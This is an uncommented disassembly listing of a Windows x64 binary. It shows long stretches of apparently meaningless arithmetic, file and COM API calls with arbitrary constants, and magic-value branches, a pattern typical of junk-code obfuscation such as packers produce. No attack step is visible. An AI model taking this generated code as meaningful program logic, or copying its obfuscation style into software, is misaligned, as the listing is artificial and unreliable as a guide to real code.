mov edx, 0x5d62c7
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34ec], eax
mov r9d, 1
lea r8, [rsp + 0xacc8]
mov rdx, qword [rsp + 0xacd0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x35dc], eax
mov dword [rsp + 0x35e0], 0x8300
mov dword [rsp + 0x35e4], 0xed7
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeac]
or eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov eax, dword [rsp + 0x34b8]
mov dword [rsp + 0x35e8], eax
cmp dword [rsp + 0x35e8], 0
je 0x1400098fe
cmp dword [rsp + 0x35e8], 0x82a40bf
je 0x1400098c1
jmp 0x14000999a
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
sar eax, cl
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
xor eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
jmp 0x14000999a
mov edx, 0x3924e7
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34f0], eax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0xaf40], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.quietensCarbonated
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaf48], rax
lea rax, [rsp + 0xa4c8]
mov qword [rsp + 0xaf50], rax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov dword [rsp + 0x35ec], eax
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3470], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov dword [0x140210004], eax
mov eax, dword [rsp + 0x34b8]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae80]
mov rdx, qword [rsp + 0xad98]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x140009a6d
lea r8, [rsp + 0xaf58]
lea rdx, [rsp + 0xaf58]
lea rcx, [rsp + 0x26da8]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x35f0], eax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov r9, qword [rsp + 0xac80]
mov r8, qword [rsp + 0xac80]
mov rdx, qword [rsp + 0xa4c8]
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rax]
call fcn.1401d9380
nop
jmp 0x1401d8986
lea rdx, [rsp + 0xacd0]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x35f4], eax
mov rax, qword [rsp + 0xae68]
mov qword [rsp + 0xaf60], rax
movabs rax, 0x7be4c5a4a4c0ab18
cmp qword [rsp + 0xaf60], rax
je 0x140009ab0
jmp 0x140009aee
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xaf70], rax
jmp 0x140009b2b
mov rax, qword [rsp + 0xa4c8]
movzx ecx, al
mov rax, qword [rsp + 0xac80]
shr rax, cl
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov dword [rsp + 0x35f8], 0xfdc6
cmp dword [rsp + 0x349c], 0x24ac
jb 0x140009d16
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
xor eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x349c]
dec eax
mov dword [rsp + 0x349c], eax
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb8], ax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
and eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov word [rcx], ax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sub eax, ecx
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov byte [rsp + 0x150], al
mov dword [rsp + 0x20], 0xbb9
mov r9d, 0x2542
mov r8d, 0x9ef
mov edx, 0x203c
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3550], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x35c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34b8], eax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0xae68]
mov rcx, qword [rsp + 0xa4c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xae58]
mov rcx, qword [rsp + 0xae78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140210004], eax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xaf40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x143], al
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov word [rsp + 0xa6c], ax
jmp 0x140009b36
mov rax, qword [rsp + 0xacd8]
mov qword [rsp + 0xaf78], rax
movabs rax, 0x18a0fb939eca3b16
cmp qword [rsp + 0xaf78], rax
je 0x140009d3c
jmp 0x140009d47
call fcn.1401d9230
nop
jmp 0x140009e19
movzx eax, word [rsp + 0xeac]
movzx ecx, word [rsp + 0xeb8]
or eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xaf50]
mov rax, qword [rax]
mov qword [rsp + 0xaf80], rax
movabs rax, 0x7be4c5a4a4c0ab18
cmp qword [rsp + 0xaf80], rax
je 0x140009d9e
movabs rax, 0xf3e5ab499508ceea
cmp qword [rsp + 0xaf80], rax
je 0x140009e12
jmp 0x140009e19
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x154]
shl eax, cl
mov byte [rsp + 0x151], al
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0xaf88], rax
mov edx, 0x1df9db
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x35fc], eax
mov rax, qword [rsp + 0xaeb8]
movzx ecx, al
mov rax, qword [rsp + 0xace0]
sar rax, cl
mov qword [rsp + 0xaec0], rax
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov dword [rsp + 0x3600], eax
jmp 0x140009e19
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x34cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x35ec]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140009e7c
mov rax, qword [0x1402112c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [section..data], ax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov word [rsp + 0xebc], ax
mov eax, dword [rsp + 0x3600]
mov ecx, dword [rsp + 0x3534]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae10]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x35c0]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140009fd7
movzx eax, word [rsp + 0xeb8]
mov dword [rsp + 0x3604], eax
cmp dword [rsp + 0x3604], 0x544
je 0x140009f21
jmp 0x140009f83
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [0x140210002]
sar eax, cl
mov byte [rsp + 0x152], al
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb4]
or eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0xade8]
lea rdx, [rsp + 0x35c0]
lea rcx, [rsp + 0x151]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x3608], eax
jmp 0x140009fd2
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0xaf70]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xadd0], rax
call qword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [rsp + 0x360c], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
jmp 0x14000a1ca
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x154]
sub ecx, edx
cmp eax, ecx
jge 0x14000a048
mov rax, qword [rsp + 0xae58]
mov rcx, qword [rsp + 0xae78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140210004], eax
lea r8, [rsp + 0xada8]
lea rdx, [rsp + 0x26db8]
lea rcx, [rsp + 0xaeb8]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x35f0], eax
jmp 0x14000a1ca
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xae68]
mov rdx, qword [rsp + 0xac80]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000a1ca
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
sub eax, ecx
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xea8]
sub ecx, edx
cmp eax, ecx
jl 0x14000a1ca
mov rax, qword [rsp + 0xae80]
mov ecx, dword [rsp + 0x3534]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xaf90], rax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xebc]
and eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [rsp + 0xae68]
mov rcx, qword [rsp + 0xaf50]
mov qword [rsp + 0xaf98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf98]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xa4c8]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14000a1ca
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [0x1402112c0]
shl eax, cl
mov rcx, qword [rsp + 0xae90]
mov byte [rcx], al
lea rax, [rsp + 0xa6c]
mov qword [rsp + 0xafa0], rax
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3544], eax
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x151]
xor eax, ecx
mov byte [rsp + 0x154], al
lea rdx, [rsp + 0x3504]
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3610], eax
lea rax, [rsp + 0xaec0]
mov qword [rsp + 0xafa8], rax
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov qword [rsp + 0xafb0], rax
movabs rax, 0xbff4c83c3ffe3795
cmp qword [rsp + 0xafb0], rax
je 0x14000a307
movabs rax, 0x69142393243bc278
cmp qword [rsp + 0xafb0], rax
je 0x14000a20e
jmp 0x14000a37c
mov eax, dword [rsp + 0x35ec]
mov ecx, dword [rsp + 0x3450]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x343c]
mov edx, dword [rsp + 0x3444]
add edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14000a305
mov eax, dword [rsp + 0x3600]
mov dword [rsp + 0x3614], eax
cmp dword [rsp + 0x3614], 0x13afa4
je 0x14000a2c5
cmp dword [rsp + 0x3614], 0x3c213685
je 0x14000a267
jmp 0x14000a305
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xaf88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
lea rdx, [rsp + 0x3450]
lea rcx, [rsp + 0x26e88]
call qword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [rsp + 0x3608], eax
jmp 0x14000a305
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xae68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
jmp 0x14000a37c
mov rax, qword [rsp + 0xad58]
movzx eax, byte [rax]
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe63e
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3618], eax
cmp dword [rsp + 0x35e4], 0x229b
jae 0x14000a97c
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x34cc]
shl eax, cl
mov dword [0x140210004], eax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xafa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
sar eax, cl
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xea8], ax
movsx eax, byte [0x1402112c0]
movsx ecx, byte [rsp + 0x154]
and eax, ecx
mov rcx, qword [rsp + 0xae90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaec0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0xacc8]
mov rdx, qword [rsp + 0xadf0]
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x354c], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x35c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3554], eax
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
add eax, ecx
mov rcx, qword [rsp + 0xaf88]
mov word [rcx], ax
mov eax, dword [rsp + 0x35e4]
add eax, 0xdc
mov dword [rsp + 0x35e4], eax
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [rsp + 0x155]
shl eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sar eax, cl
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
or eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x35ec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3450], eax
mov rax, qword [rsp + 0xaeb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3600]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3534], eax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [rsp + 0xea8], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb4]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x155]
sar eax, cl
mov byte [0x1402112c0], al
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x34b8]
shl eax, cl
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x11e0
mov r9d, 0x1c6
mov r8d, 0x8e108b3b
mov edx, 1
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x361c], eax
lea rdx, [rsp + 0x3504]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x34e0], eax
movsx eax, byte [rsp + 0x155]
movsx ecx, byte [rsp + 0x154]
xor eax, ecx
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x150]
or eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
lea rdx, [rsp + 0xad88]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x361c], eax
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
and eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xac80]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x35ec]
mov ecx, dword [rsp + 0x34cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402112c0], al
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3620], eax
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x143]
add eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xaeb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
jmp 0x14000a37c
movsx eax, word [section..data]
mov dword [rsp + 0x3624], eax
cmp dword [rsp + 0x3624], 0
je 0x14000a9aa
cmp dword [rsp + 0x3624], 0xa8e
je 0x1401d8801
jmp 0x1401d88ba
lea rax, [rsp + 0x34cc]
mov qword [rsp + 0xafb8], rax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xad78]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14000aa63
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x350c], eax
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0xafc0], rax
lea rdx, [rsp + 0x346c]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3628], eax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xaf00]
movzx eax, byte [rax]
mov byte [rsp + 0x156], al
movzx eax, word [rsp + 0xebc]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0xafc8], rax
movabs rax, 0xa68f7b3dd821615b
cmp qword [rsp + 0xafc8], rax
je 0x14000aaa9
jmp 0x14000ac2e
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf40]
mov qword [rsp + 0xafd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xafd8], rax
mov rcx, qword [rsp + 0xafa8]
mov rax, qword [rcx]
cqo
idiv qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xafd8]
cmp rcx, rax
jl 0x14000ab36
lea rax, [rsp + 0xaee8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xafe0]
lea r8, [rsp + 0x34c4]
mov edx, 0xf3
lea rcx, [rsp + 0xafe8]
call qword [sym.imp.ole32.dll_CoInstall]
mov dword [rsp + 0x360c], eax
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov eax, dword [0x140210004]
mov dword [rsp + 0x362c], eax
cmp dword [rsp + 0x362c], 0x614584c3
je 0x14000ab74
jmp 0x14000ac0f
mov dword [rsp + 0x28], 0xef
lea rax, [rsp + 0x151]
mov qword [rsp + 0x20], rax
mov r9d, 0x4f
lea r8, [rsp + 0x35d8]
lea rdx, [rsp + 0x26dc8]
lea rcx, [rsp + 0xad60]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x3608], eax
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov edx, dword [rsp + 0x35f0]
lea rcx, [rsp + 0xad40]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x35f0], eax
mov eax, dword [rsp + 0x3444]
movzx ecx, al
mov eax, dword [rsp + 0x35ec]
shr eax, cl
mov dword [rsp + 0x34cc], eax
jmp 0x1401d8755
mov r9d, 2
lea r8, [rsp + 0xaec8]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3630], eax
lea rdx, [rsp + 0xaed8]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3564], eax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
movzx ecx, byte [rsp + 0x152]
movzx edx, byte [rsp + 0x150]
sub ecx, edx
cmp eax, ecx
jl 0x1401d86ef
cmp dword [rsp + 0x35f8], 0xc546
jb 0x14000b176
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov word [rsp + 0xeb4], ax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x150], al
